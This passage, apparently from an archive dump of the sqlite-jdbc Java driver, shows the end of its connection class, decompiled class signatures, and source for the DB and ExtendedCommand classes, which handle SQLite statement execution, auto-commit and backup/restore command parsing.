                URL resourceAddr = contextCL.getResource(resourceName);



                if (resourceAddr == null) {



                    try {



                        resourceAddr = new URL(resourceName);



                    }



                    catch (MalformedURLException e) {



                        throw new SQLException(String.format("resource %s not found: %s", resourceName, e));



                    }



                }







                try {



                    fileName = extractResource(resourceAddr).getAbsolutePath();



                }



                catch (IOException e) {



                    throw new SQLException(String.format("failed to load %s: %s", resourceName, e));



                }



            }



            else {



                File file = new File(fileName).getAbsoluteFile();



                File parent = file.getParentFile();



                if (parent != null && !parent.exists()) {



                    for (File up = parent; up != null && !up.exists();) {



                        parent = up;



                        up = up.getParentFile();



                    }



                    throw new SQLException("path to '" + fileName + "': '" + parent + "' does not exist");



                }







                // check write access if file does not exist



                try {



                    // The extra check to exists() is necessary as createNewFile()



                    // does not follow the JavaDoc when used on read-only shares.



                    if (!file.exists() && file.createNewFile())



                        file.delete();



                }



                catch (Exception e) {



                    throw new SQLException("opening db: '" + fileName + "': " + e.getMessage());



                }



                fileName = file.getAbsolutePath();



            }



        }







        // tries to load native library first



        try {



            Class< ? > nativedb = Class.forName("org.sqlite.NativeDB");



            if (((Boolean) nativedb.getDeclaredMethod("load", (Class< ? >[]) null).invoke((Object) null,



                    (Object[]) null)).booleanValue())



                db = (DB) nativedb.newInstance();







        }



        catch (Exception e) {} // fall through to nested library







        // load nested library (pure-java SQLite)



        if (db == null) {



            try {



                db = (DB) Class.forName("org.sqlite.NestedDB").newInstance();



            }



            catch (Exception e) {



                throw new SQLException("no SQLite library found");



            }



        }







        db.open(this, fileName, openModeFlags);



        setTimeout(3000);



    }







    /**



     * @param resourceAddr



     * @return extracted file name



     * @throws IOException



     */



    private File extractResource(URL resourceAddr) throws IOException {



        if (resourceAddr.getProtocol().equals("file")) {



            try {



                return new File(resourceAddr.toURI());



            }



            catch (URISyntaxException e) {



                throw new IOException(e.getMessage());



            }



        }







        String tempFolder = new File(System.getProperty("java.io.tmpdir")).getAbsolutePath();



        String dbFileName = String.format("sqlite-jdbc-tmp-%d.db", resourceAddr.hashCode());



        File dbFile = new File(tempFolder, dbFileName);







        if (dbFile.exists()) {



            long resourceLastModified = resourceAddr.openConnection().getLastModified();



            long tmpFileLastModified = dbFile.lastModified();



            if (resourceLastModified < tmpFileLastModified) {



                return dbFile;



            }



            else {



                // remove the old DB file



                boolean deletionSucceeded = dbFile.delete();



                if (!deletionSucceeded) {



                    throw new IOException("failed to remove existing DB file: " + dbFile.getAbsolutePath());



                }



            }







            //            String md5sum1 = SQLiteJDBCLoader.md5sum(resourceAddr.openStream());



            //            String md5sum2 = SQLiteJDBCLoader.md5sum(new FileInputStream(dbFile));



            //



            //            if (md5sum1.equals(md5sum2))



            //                return dbFile; // no need to extract the DB file



            //            else



            //            {



            //            }



        }







        byte[] buffer = new byte[8192]; // 8K buffer



        FileOutputStream writer = new FileOutputStream(dbFile);



        InputStream reader = resourceAddr.openStream();



        try {



            int bytesRead = 0;



            while ((bytesRead = reader.read(buffer)) != -1) {



                writer.write(buffer, 0, bytesRead);



            }



            return dbFile;



        }



        finally {



            writer.close();



            reader.close();



        }







    }







    int getTimeout() {



        return timeout;



    }







    void setTimeout(int ms) throws SQLException {



        timeout = ms;



        db.busy_timeout(ms);



    }







    String url() {



        return url;



    }







    String libversion() throws SQLException {



        return db.libversion();



    }







    DB db() {



        return db;



    }







    private void checkOpen() throws SQLException {



        if (db == null)



            throw new SQLException("database connection closed");



    }







    private void checkCursor(int rst, int rsc, int rsh) throws SQLException {



        if (rst != ResultSet.TYPE_FORWARD_ONLY)



            throw new SQLException("SQLite only supports TYPE_FORWARD_ONLY cursors");



        if (rsc != ResultSet.CONCUR_READ_ONLY)



            throw new SQLException("SQLite only supports CONCUR_READ_ONLY cursors");



        if (rsh != ResultSet.CLOSE_CURSORS_AT_COMMIT)



            throw new SQLException("SQLite only supports closing cursors at commit");



    }







    @Override



    public void finalize() throws SQLException {



        close();



    }







    public void close() throws SQLException {



        if (db == null)



            return;



        if (meta != null)



            meta.close();







        db.close();



        db = null;



    }







    public boolean isClosed() throws SQLException {



        return db == null;



    }







    public String getCatalog() throws SQLException {



        checkOpen();



        return null;



    }







    public void setCatalog(String catalog) throws SQLException {



        checkOpen();



    }







    public int getHoldability() throws SQLException {



        checkOpen();



        return ResultSet.CLOSE_CURSORS_AT_COMMIT;



    }







    public void setHoldability(int h) throws SQLException {



        checkOpen();



        if (h != ResultSet.CLOSE_CURSORS_AT_COMMIT)



            throw new SQLException("SQLite only supports CLOSE_CURSORS_AT_COMMIT");



    }







    public int getTransactionIsolation() {



        return transactionIsolation;



    }







    public void setTransactionIsolation(int level) throws SQLException {



        switch (level) {



        case TRANSACTION_SERIALIZABLE:



            db.exec("PRAGMA read_uncommitted = false;");



            break;



        case TRANSACTION_READ_UNCOMMITTED:



            db.exec("PRAGMA read_uncommitted = true;");



            break;



        default:



            throw new SQLException("SQLite supports only TRANSACTION_SERIALIZABLE and TRANSACTION_READ_UNCOMMITTED.");



        }



        transactionIsolation = level;



    }







    public Map getTypeMap() throws SQLException {



        throw new SQLException("not yet implemented");



    }







    public void setTypeMap(Map map) throws SQLException {



        throw new SQLException("not yet implemented");



    }







    public boolean isReadOnly() throws SQLException {



        return false;



    } // FIXME







    public void setReadOnly(boolean ro) throws SQLException {}







    public DatabaseMetaData getMetaData() {



        if (meta == null)



            meta = new MetaData(this);



        return meta;



    }







    public String nativeSQL(String sql) {



        return sql;



    }







    public void clearWarnings() throws SQLException {}







    public SQLWarning getWarnings() throws SQLException {



        return null;



    }







    public boolean getAutoCommit() throws SQLException {



        checkOpen();



        return autoCommit;



    }







    public void setAutoCommit(boolean ac) throws SQLException {



        checkOpen();



        if (autoCommit == ac)



            return;



        autoCommit = ac;



        db.exec(autoCommit ? "commit;" : "begin;");



    }







    public void commit() throws SQLException {



        checkOpen();



        if (autoCommit)



            throw new SQLException("database in auto-commit mode");



        db.exec("commit;");



        db.exec("begin;");



    }







    public void rollback() throws SQLException {



        checkOpen();



        if (autoCommit)



            throw new SQLException("database in auto-commit mode");



        db.exec("rollback;");



        db.exec("begin;");



    }







    public Statement createStatement() throws SQLException {



        return createStatement(ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY,



                ResultSet.CLOSE_CURSORS_AT_COMMIT);



    }







    public Statement createStatement(int rsType, int rsConcurr) throws SQLException {



        return createStatement(rsType, rsConcurr, ResultSet.CLOSE_CURSORS_AT_COMMIT);



    }







    public Statement createStatement(int rst, int rsc, int rsh) throws SQLException {



        checkCursor(rst, rsc, rsh);



        return new Stmt(this);



    }







    public CallableStatement prepareCall(String sql) throws SQLException {



        return prepareCall(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY,



                ResultSet.CLOSE_CURSORS_AT_COMMIT);



    }







    public CallableStatement prepareCall(String sql, int rst, int rsc) throws SQLException {



        return prepareCall(sql, rst, rsc, ResultSet.CLOSE_CURSORS_AT_COMMIT);



    }







    public CallableStatement prepareCall(String sql, int rst, int rsc, int rsh) throws SQLException {



        throw new SQLException("SQLite does not support Stored Procedures");



    }







    public PreparedStatement prepareStatement(String sql) throws SQLException {



        return prepareStatement(sql, ResultSet.TYPE_FORWARD_ONLY, ResultSet.CONCUR_READ_ONLY);



    }







    public PreparedStatement prepareStatement(String sql, int autoC) throws SQLException {



        return prepareStatement(sql);



    }







    public PreparedStatement prepareStatement(String sql, int[] colInds) throws SQLException {



        return prepareStatement(sql);



    }







    public PreparedStatement prepareStatement(String sql, String[] colNames) throws SQLException {



        return prepareStatement(sql);



    }







    public PreparedStatement prepareStatement(String sql, int rst, int rsc) throws SQLException {



        return prepareStatement(sql, rst, rsc, ResultSet.CLOSE_CURSORS_AT_COMMIT);



    }







    public PreparedStatement prepareStatement(String sql, int rst, int rsc, int rsh) throws SQLException {



        checkCursor(rst, rsc, rsh);



        return new PrepStmt(this, sql);



    }







    /** Used to supply DatabaseMetaData.getDriverVersion(). */



    String getDriverVersion() {



        if (db != null) {



            String dbname = db.getClass().getName();



            if (dbname.indexOf("NestedDB") >= 0)



                return "pure";



            if (dbname.indexOf("NativeDB") >= 0)



                return "native";



        }



        return "unloaded";



    }







    // UNUSED FUNCTIONS /////////////////////////////////////////////







    public Savepoint setSavepoint() throws SQLException {



        throw new SQLException("unsupported by SQLite: savepoints");



    }







    public Savepoint setSavepoint(String name) throws SQLException {



        throw new SQLException("unsupported by SQLite: savepoints");



    }







    public void releaseSavepoint(Savepoint savepoint) throws SQLException {



        throw new SQLException("unsupported by SQLite: savepoints");



    }







    public void rollback(Savepoint savepoint) throws SQLException {



        throw new SQLException("unsupported by SQLite: savepoints");



    }







    public Struct createStruct(String t, Object[] attr) throws SQLException {



        throw new SQLException("unsupported by SQLite");



    }



}










org/sqlite/DB$ProgressObserver.class


package org.sqlite;
public abstract interface DB$ProgressObserver {
    public abstract void progress(int, int);
}










org/sqlite/DB.class


package org.sqlite;
abstract synchronized class DB implements Codes {
    Conn conn;
    long begin;
    long commit;
    private final java.util.Map stmts;
    void DB();
    abstract void interrupt() throws java.sql.SQLException;
    abstract void busy_timeout(int) throws java.sql.SQLException;
    abstract String errmsg() throws java.sql.SQLException;
    abstract String libversion() throws java.sql.SQLException;
    abstract int changes() throws java.sql.SQLException;
    abstract int shared_cache(boolean) throws java.sql.SQLException;
    abstract int enable_load_extension(boolean) throws java.sql.SQLException;
    final synchronized void exec(String) throws java.sql.SQLException;
    final synchronized void open(Conn, String, int) throws java.sql.SQLException;
    final synchronized void close() throws java.sql.SQLException;
    final synchronized void prepare(Stmt) throws java.sql.SQLException;
    final synchronized int finalize(Stmt) throws java.sql.SQLException;
    protected abstract void _open(String, int) throws java.sql.SQLException;
    protected abstract void _close() throws java.sql.SQLException;
    protected abstract int _exec(String) throws java.sql.SQLException;
    protected abstract long prepare(String) throws java.sql.SQLException;
    protected abstract int finalize(long) throws java.sql.SQLException;
    protected abstract int step(long) throws java.sql.SQLException;
    protected abstract int reset(long) throws java.sql.SQLException;
    abstract int clear_bindings(long) throws java.sql.SQLException;
    abstract int bind_parameter_count(long) throws java.sql.SQLException;
    abstract int column_count(long) throws java.sql.SQLException;
    abstract int column_type(long, int) throws java.sql.SQLException;
    abstract String column_decltype(long, int) throws java.sql.SQLException;
    abstract String column_table_name(long, int) throws java.sql.SQLException;
    abstract String column_name(long, int) throws java.sql.SQLException;
    abstract String column_text(long, int) throws java.sql.SQLException;
    abstract byte[] column_blob(long, int) throws java.sql.SQLException;
    abstract double column_double(long, int) throws java.sql.SQLException;
    abstract long column_long(long, int) throws java.sql.SQLException;
    abstract int column_int(long, int) throws java.sql.SQLException;
    abstract int bind_null(long, int) throws java.sql.SQLException;
    abstract int bind_int(long, int, int) throws java.sql.SQLException;
    abstract int bind_long(long, int, long) throws java.sql.SQLException;
    abstract int bind_double(long, int, double) throws java.sql.SQLException;
    abstract int bind_text(long, int, String) throws java.sql.SQLException;
    abstract int bind_blob(long, int, byte[]) throws java.sql.SQLException;
    abstract void result_null(long) throws java.sql.SQLException;
    abstract void result_text(long, String) throws java.sql.SQLException;
    abstract void result_blob(long, byte[]) throws java.sql.SQLException;
    abstract void result_double(long, double) throws java.sql.SQLException;
    abstract void result_long(long, long) throws java.sql.SQLException;
    abstract void result_int(long, int) throws java.sql.SQLException;
    abstract void result_error(long, String) throws java.sql.SQLException;
    abstract int value_bytes(Function, int) throws java.sql.SQLException;
    abstract String value_text(Function, int) throws java.sql.SQLException;
    abstract byte[] value_blob(Function, int) throws java.sql.SQLException;
    abstract double value_double(Function, int) throws java.sql.SQLException;
    abstract long value_long(Function, int) throws java.sql.SQLException;
    abstract int value_int(Function, int) throws java.sql.SQLException;
    abstract int value_type(Function, int) throws java.sql.SQLException;
    abstract int create_function(String, Function) throws java.sql.SQLException;
    abstract int destroy_function(String) throws java.sql.SQLException;
    abstract void free_functions() throws java.sql.SQLException;
    abstract int backup(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    abstract int restore(String, String, DB$ProgressObserver) throws java.sql.SQLException;
    abstract boolean[][] column_metadata(long) throws java.sql.SQLException;
    final synchronized String[] column_names(long) throws java.sql.SQLException;
    final synchronized int sqlbind(long, int, Object) throws java.sql.SQLException;
    final synchronized int[] executeBatch(long, int, Object[]) throws java.sql.SQLException;
    final synchronized boolean execute(Stmt, Object[]) throws java.sql.SQLException;
    final synchronized boolean execute(String) throws java.sql.SQLException;
    final synchronized int executeUpdate(Stmt, Object[]) throws java.sql.SQLException;
    final void throwex() throws java.sql.SQLException;
    final void throwex(int) throws java.sql.SQLException;
    final void throwex(int, String) throws java.sql.SQLException;
    static java.sql.SQLException newSQLException(int, String) throws java.sql.SQLException;
    private java.sql.SQLException newSQLException(int) throws java.sql.SQLException;
    final void ensureAutoCommit() throws java.sql.SQLException;
}
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org/sqlite/DB.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF



 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.



 */



package org.sqlite;







import java.sql.BatchUpdateException;



import java.sql.SQLException;



import java.util.HashMap;



import java.util.Iterator;



import java.util.Map;







/*



 * This class is the interface to SQLite. It provides some helper functions



 * used by other parts of the driver. The goal of the helper functions here



 * are not only to provide functionality, but to handle contractual



 * differences between the JDBC specification and the SQLite C API.



 *



 * The process of moving SQLite weirdness into this class is incomplete.



 * You'll still find lots of code in Stmt and PrepStmt that are doing



 * implicit contract conversions. Sorry.



 *



 * The two subclasses, NativeDB and NestedDB, provide the actual access to



 * SQLite functions.



 */



abstract class DB implements Codes



{



    /** The JDBC Connection that 'owns' this database instance. */



    Conn                          conn   = null;







    /** The "begin;"and "commit;" statement handles. */



    long                          begin  = 0;



    long                          commit = 0;







    /** Tracer for statements to avoid unfinalized statements on db close. */



    private final Map<Long, Stmt> stmts  = new HashMap<Long, Stmt>();







    // WRAPPER FUNCTIONS ////////////////////////////////////////////







    abstract void interrupt() throws SQLException;







    abstract void busy_timeout(int ms) throws SQLException;







    abstract String errmsg() throws SQLException;







    abstract String libversion() throws SQLException;







    abstract int changes() throws SQLException;







    abstract int shared_cache(boolean enable) throws SQLException;







    abstract int enable_load_extension(boolean enable) throws SQLException;







    final synchronized void exec(String sql) throws SQLException {



        long pointer = 0;



        try {



            pointer = prepare(sql);



            switch (step(pointer)) {



            case SQLITE_DONE:



                ensureAutoCommit();



                return;



            case SQLITE_ROW:



                return;



            default:



                throwex();



            }



        }



        finally {



            finalize(pointer);



        }



    }







    final synchronized void open(Conn conn, String file, int openFlags) throws SQLException {



        this.conn = conn;



        _open(file, openFlags);



    }







    final synchronized void close() throws SQLException {



        // finalize any remaining statements before closing db



        synchronized (stmts) {



            Iterator i = stmts.entrySet().iterator();



            while (i.hasNext()) {



                Map.Entry entry = (Map.Entry) i.next();



                Stmt stmt = (Stmt) entry.getValue();



                finalize(((Long) entry.getKey()).longValue());



                if (stmt != null) {



                    stmt.pointer = 0;



                }



                i.remove();



            }



        }







        // remove memory used by user-defined functions



        free_functions();







        // clean up commit object



        if (begin != 0) {



            finalize(begin);



            begin = 0;



        }



        if (commit != 0) {



            finalize(commit);



            commit = 0;



        }







        _close();



    }







    final synchronized void prepare(Stmt stmt) throws SQLException {



        if (stmt.pointer != 0)



            finalize(stmt);



        stmt.pointer = prepare(stmt.sql);



        stmts.put(new Long(stmt.pointer), stmt);



    }







    final synchronized int finalize(Stmt stmt) throws SQLException {



        if (stmt.pointer == 0)



            return 0;



        int rc = SQLITE_ERROR;



        try {



            rc = finalize(stmt.pointer);



        }



        finally {



            stmts.remove(new Long(stmt.pointer));



            stmt.pointer = 0;



        }



        return rc;



    }







    protected abstract void _open(String filename, int openFlags) throws SQLException;







    protected abstract void _close() throws SQLException;







    protected abstract int _exec(String sql) throws SQLException;







    protected abstract long prepare(String sql) throws SQLException;







    protected abstract int finalize(long stmt) throws SQLException;







    protected abstract int step(long stmt) throws SQLException;







    protected abstract int reset(long stmt) throws SQLException;







    abstract int clear_bindings(long stmt) throws SQLException; // TODO remove?







    abstract int bind_parameter_count(long stmt) throws SQLException;







    abstract int column_count(long stmt) throws SQLException;







    abstract int column_type(long stmt, int col) throws SQLException;







    abstract String column_decltype(long stmt, int col) throws SQLException;







    abstract String column_table_name(long stmt, int col) throws SQLException;







    abstract String column_name(long stmt, int col) throws SQLException;







    abstract String column_text(long stmt, int col) throws SQLException;







    abstract byte[] column_blob(long stmt, int col) throws SQLException;







    abstract double column_double(long stmt, int col) throws SQLException;







    abstract long column_long(long stmt, int col) throws SQLException;







    abstract int column_int(long stmt, int col) throws SQLException;







    abstract int bind_null(long stmt, int pos) throws SQLException;







    abstract int bind_int(long stmt, int pos, int v) throws SQLException;







    abstract int bind_long(long stmt, int pos, long v) throws SQLException;







    abstract int bind_double(long stmt, int pos, double v) throws SQLException;







    abstract int bind_text(long stmt, int pos, String v) throws SQLException;







    abstract int bind_blob(long stmt, int pos, byte[] v) throws SQLException;







    abstract void result_null(long context) throws SQLException;







    abstract void result_text(long context, String val) throws SQLException;







    abstract void result_blob(long context, byte[] val) throws SQLException;







    abstract void result_double(long context, double val) throws SQLException;







    abstract void result_long(long context, long val) throws SQLException;







    abstract void result_int(long context, int val) throws SQLException;







    abstract void result_error(long context, String err) throws SQLException;







    abstract int value_bytes(Function f, int arg) throws SQLException;







    abstract String value_text(Function f, int arg) throws SQLException;







    abstract byte[] value_blob(Function f, int arg) throws SQLException;







    abstract double value_double(Function f, int arg) throws SQLException;







    abstract long value_long(Function f, int arg) throws SQLException;







    abstract int value_int(Function f, int arg) throws SQLException;







    abstract int value_type(Function f, int arg) throws SQLException;







    abstract int create_function(String name, Function f) throws SQLException;







    abstract int destroy_function(String name) throws SQLException;







    abstract void free_functions() throws SQLException;







    abstract int backup(String dbName, String destFileName, ProgressObserver observer) throws SQLException;







    abstract int restore(String dbName, String sourceFileName, ProgressObserver observer) throws SQLException;







    public static interface ProgressObserver



    {



        public void progress(int remaining, int pageCount);



    }







    /**



     * Provides metadata for the columns of a statement. Returns: res[col][0] =



     * true if column constrained NOT NULL res[col][1] = true if column is part



     * of the primary key res[col][2] = true if column is auto-increment



     */



    abstract boolean[][] column_metadata(long stmt) throws SQLException;







    // COMPOUND FUNCTIONS ////////////////////////////////////////////







    final synchronized String[] column_names(long stmt) throws SQLException {



        String[] names = new String[column_count(stmt)];



        for (int i = 0; i < names.length; i++)



            names[i] = column_name(stmt, i);



        return names;



    }







    final synchronized int sqlbind(long stmt, int pos, Object v) throws SQLException {



        pos++;



        if (v == null) {



            return bind_null(stmt, pos);



        }



        else if (v instanceof Integer) {



            return bind_int(stmt, pos, ((Integer) v).intValue());



        }



        else if (v instanceof Short) {



            return bind_int(stmt, pos, ((Short) v).intValue());



        }



        else if (v instanceof Long) {



            return bind_long(stmt, pos, ((Long) v).longValue());



        }



        else if (v instanceof Float) {



            return bind_double(stmt, pos, ((Float) v).doubleValue());



        }



        else if (v instanceof Double) {



            return bind_double(stmt, pos, ((Double) v).doubleValue());



        }



        else if (v instanceof String) {



            return bind_text(stmt, pos, (String) v);



        }



        else if (v instanceof byte[]) {



            return bind_blob(stmt, pos, (byte[]) v);



        }



        else {



            throw new SQLException("unexpected param type: " + v.getClass());



        }



    }







    final synchronized int[] executeBatch(long stmt, int count, Object[] vals) throws SQLException {



        if (count < 1)



            throw new SQLException("count (" + count + ") < 1");







        final int params = bind_parameter_count(stmt);







        int rc;



        int[] changes = new int[count];







        try {



            for (int i = 0; i < count; i++) {



                reset(stmt);



                for (int j = 0; j < params; j++)



                    if (sqlbind(stmt, j, vals[(i * params) + j]) != SQLITE_OK)



                        throwex();







                rc = step(stmt);



                if (rc != SQLITE_DONE) {



                    reset(stmt);



                    if (rc == SQLITE_ROW)



                        throw new BatchUpdateException("batch entry " + i + ": query returns results", changes);



                    throwex();



                }







                changes[i] = changes();



            }



        }



        finally {



            ensureAutoCommit();



        }







        reset(stmt);



        return changes;



    }







    final synchronized boolean execute(Stmt stmt, Object[] vals) throws SQLException {



        if (vals != null) {



            final int params = bind_parameter_count(stmt.pointer);



            if (params != vals.length)



                throw new SQLException("assertion failure: param count (" + params + ") != value count (" + vals.length



                        + ")");







            for (int i = 0; i < params; i++)



                if (sqlbind(stmt.pointer, i, vals[i]) != SQLITE_OK)



                    throwex();



        }







        int statusCode = step(stmt.pointer);



        switch (statusCode) {



        case SQLITE_DONE:



            reset(stmt.pointer);



            ensureAutoCommit();



            return false;



        case SQLITE_ROW:



            return true;



        case SQLITE_BUSY:



        case SQLITE_LOCKED:



        case SQLITE_MISUSE:



            throw newSQLException(statusCode);



        default:



            finalize(stmt);



            throw newSQLException(statusCode);



        }







    }







    final synchronized boolean execute(String sql) throws SQLException {



        int statusCode = _exec(sql);



        switch (statusCode) {



        case SQLITE_OK:



            return false;



        case SQLITE_DONE:



            ensureAutoCommit();



            return false;



        case SQLITE_ROW:



            return true;



        default:



            throw newSQLException(statusCode);



        }



    }







    final synchronized int executeUpdate(Stmt stmt, Object[] vals) throws SQLException {



        if (execute(stmt, vals))



            throw new SQLException("query returns results");



        reset(stmt.pointer);



        return changes();



    }







    final void throwex() throws SQLException {



        throw new SQLException(errmsg());



    }







    final void throwex(int errorCode) throws SQLException {



        throw newSQLException(errorCode);



    }







    final void throwex(int errorCode, String errorMessage) throws SQLException {



        throw newSQLException(errorCode, errorMessage);



    }







    static SQLException newSQLException(int errorCode, String errorMessage) throws SQLException {



        SQLiteErrorCode code = SQLiteErrorCode.getErrorCode(errorCode);



        return new SQLException(String.format("%s (%s)", code, errorMessage));



    }







    private SQLException newSQLException(int errorCode) throws SQLException {



        return newSQLException(errorCode, errmsg());



    }







    /*



     * SQLite and the JDBC API have very different ideas about the meaning



     * of auto-commit. Under JDBC, when executeUpdate() returns in



     * auto-commit mode (the default), the programmer assumes the data has



     * been written to disk. In SQLite however, a call to sqlite3_step()



     * with an INSERT statement can return SQLITE_OK, and yet the data is



     * still in limbo.



     *



     * This limbo appears when another statement on the database is active,



     * e.g. a SELECT. SQLite auto-commit waits until the final read



     * statement finishes, and then writes whatever updates have already



     * been OKed. So if a program crashes before the reads are complete,



     * data is lost. E.g:



     *



     *     select begins



     *     insert



     *     select continues



     *     select finishes



     *



     * Works as expected, however



     *



     *     select beings



     *     insert



     *     select continues



     *     crash



     *



     * Results in the data never being written to disk.



     *



     * As a solution, we call "commit" after every statement in auto-commit



     * mode.



     */



    final void ensureAutoCommit() throws SQLException {



        if (!conn.getAutoCommit())



            return;







        if (begin == 0)



            begin = prepare("begin;");



        if (commit == 0)



            commit = prepare("commit;");







        try {



            if (step(begin) != SQLITE_DONE)



                return; // assume we are in a transaction



            if (step(commit) != SQLITE_DONE) {



                reset(commit);



                throwex();



            }



            //throw new SQLException("unable to auto-commit");



        }



        finally {



            reset(begin);



            reset(commit);



        }



    }



}










org/sqlite/ExtendedCommand$BackupCommand.class


package org.sqlite;
public synchronized class ExtendedCommand$BackupCommand implements ExtendedCommand$SQLExtension {
    public final String srcDB;
    public final String destFile;
    private static java.util.regex.Pattern backupCmd;
    public void ExtendedCommand$BackupCommand(String, String);
    public static ExtendedCommand$BackupCommand parse(String) throws java.sql.SQLException;
    public void execute(DB) throws java.sql.SQLException;
    static void <clinit>();
}










org/sqlite/ExtendedCommand$RestoreCommand.class


package org.sqlite;
public synchronized class ExtendedCommand$RestoreCommand implements ExtendedCommand$SQLExtension {
    public final String targetDB;
    public final String srcFile;
    private static java.util.regex.Pattern restoreCmd;
    public void ExtendedCommand$RestoreCommand(String, String);
    public static ExtendedCommand$RestoreCommand parse(String) throws java.sql.SQLException;
    public void execute(DB) throws java.sql.SQLException;
    static void <clinit>();
}










org/sqlite/ExtendedCommand$SQLExtension.class


package org.sqlite;
public abstract interface ExtendedCommand$SQLExtension {
    public abstract void execute(DB) throws java.sql.SQLException;
}










org/sqlite/ExtendedCommand.class


package org.sqlite;
public synchronized class ExtendedCommand {
    public void ExtendedCommand();
    public static ExtendedCommand$SQLExtension parse(String) throws java.sql.SQLException;
    public static String removeQuotation(String);
}










org/sqlite/ExtendedCommand.java



org/sqlite/ExtendedCommand.java


//--------------------------------------



// sqlite-jdbc Project



//



// ExtendedCommand.java



// Since: Mar 12, 2010



//



// $URL$ 



// $Author$



//--------------------------------------



package org.sqlite;







import java.sql.SQLException;



import java.util.regex.Matcher;



import java.util.regex.Pattern;







/**



 * parsing SQLite specific extension of SQL command



 * 



 * @author leo



 * 



 */



public class ExtendedCommand



{



    public static interface SQLExtension



    {



        public void execute(DB db) throws SQLException;



    }







    public static SQLExtension parse(String sql) throws SQLException {



        if (sql == null)



            return null;







        if (sql.startsWith("backup"))



            return BackupCommand.parse(sql);



        else if (sql.startsWith("restore"))



            return RestoreCommand.parse(sql);







        return null;



    }







    public static String removeQuotation(String s) {



        if (s == null)



            return s;







        if ((s.startsWith("\"") && s.endsWith("\"")) || (s.startsWith("'") && s.endsWith("'")))



            return s.substring(1, s.length() - 1);



        else



            return s;



    }







    public static class BackupCommand implements SQLExtension



    {



        public final String srcDB;



        public final String destFile;







        public BackupCommand(String srcDB, String destFile) {



            this.srcDB = srcDB;



            this.destFile = destFile;



        }







        private static Pattern backupCmd = Pattern



                                                 .compile("backup(\\s+(\"[^\"]*\"|'[^\']*\'|\\S+))?\\s+to\\s+(\"[^\"]*\"|'[^\']*\'|\\S+)");







        public static BackupCommand parse(String sql) throws SQLException {



            if (sql != null) {



                Matcher m = backupCmd.matcher(sql);



                if (m.matches()) {



                    String dbName = removeQuotation(m.group(2));



                    String dest = removeQuotation(m.group(3));



                    if (dbName == null || dbName.length() == 0)



                        dbName = "main";







                    return new BackupCommand(dbName, dest);



                }



            }



            throw new SQLException("syntax error: " + sql);



        }







        public void execute(DB db) throws SQLException {



            db.backup(srcDB, destFile, null);



        }







    }







    public static class RestoreCommand implements SQLExtension



    {



        public final String    targetDB;



        public final String    srcFile;



        private static Pattern restoreCmd = Pattern



                                                  .compile("restore(\\s+(\"[^\"]*\"|'[^\']*\'|\\S+))?\\s+from\\s+(\"[^\"]*\"|'[^\']*\'|\\S+)");







        public RestoreCommand(String targetDB, String srcFile) {



            this.targetDB = targetDB;



            this.srcFile = srcFile;



        }







        public static RestoreCommand parse(String sql) throws SQLException {



            if (sql != null) {



                Matcher m = restoreCmd.matcher(sql);



                if (m.matches()) {



                    String dbName = removeQuotation(m.group(2));



                    String dest = removeQuotation(m.group(3));



                    if (dbName == null || dbName.length() == 0)



                        dbName = "main";



                    return new RestoreCommand(dbName, dest);



                }



            }



            throw new SQLException("syntax error: " + sql);



        }







        public void execute(DB db) throws SQLException {



            db.restore(targetDB, srcFile, null);



        }



    }







}










org/sqlite/Function$Aggregate.class


package org.sqlite;
public abstract synchronized class Function$Aggregate extends Function implements Cloneable {
    public void Function$Aggregate();
    protected final void xFunc();
    protected abstract void xStep() throws java.sql.SQLException;
    protected abstract void xFinal() throws java.sql.SQLException;
    public Object clone() throws CloneNotSupportedException;
}










org/sqlite/Function.class


package org.sqlite;
public abstract synchronized class Function {
    private Conn conn;
    private DB db;
    long context;
    long value;
    int args;
    public void Function();
    public static final void create(java.sql.Connection, String, Function) throws java.sql.SQLException;
    public static final void destroy(java.sql.Connection, String) throws java.sql.SQLException;
    protected abstract void xFunc() throws java.sql.SQLException;
    protected final synchronized int args() throws java.sql.SQLException;
    protected final synchronized void result(byte[]) throws java.sql.SQLException;
    protected final synchronized void result(double) throws java.sql.SQLException;
    protected final synchronized void result(int) throws java.sql.SQLException;
    protected final synchronized void result(long) throws java.sql.SQLException;
    protected final synchronized void result() throws java.sql.SQLException;
    protected final synchronized void result(String) throws java.sql.SQLException;
    protected final synchronized void error(String) throws java.sql.SQLException;
    protected final synchronized int value_bytes(int) throws java.sql.SQLException;
    protected final synchronized String value_text(int) throws java.sql.SQLException;
    protected final synchronized byte[] value_blob(int) throws java.sql.SQLException;
    protected final synchronized double value_double(int) throws java.sql.SQLException;
    protected final synchronized int value_int(int) throws java.sql.SQLException;
    protected final synchronized long value_long(int) throws java.sql.SQLException;
    protected final synchronized int value_type(int) throws java.sql.SQLException;
    private void checkContext() throws java.sql.SQLException;
    private void checkValue(int) throws java.sql.SQLException;
}
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org/sqlite/Function.java


/*



 * Copyright (c) 2007 David Crawshaw <david@zentus.com>



 * 



 * Permission to use, copy, modify, and/or distribute this software for any



 * purpose with or without fee is hereby granted, provided that the above



 * copyright notice and this permission notice appear in all copies.



 * 



 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES



 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF



 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR



 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES



 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN



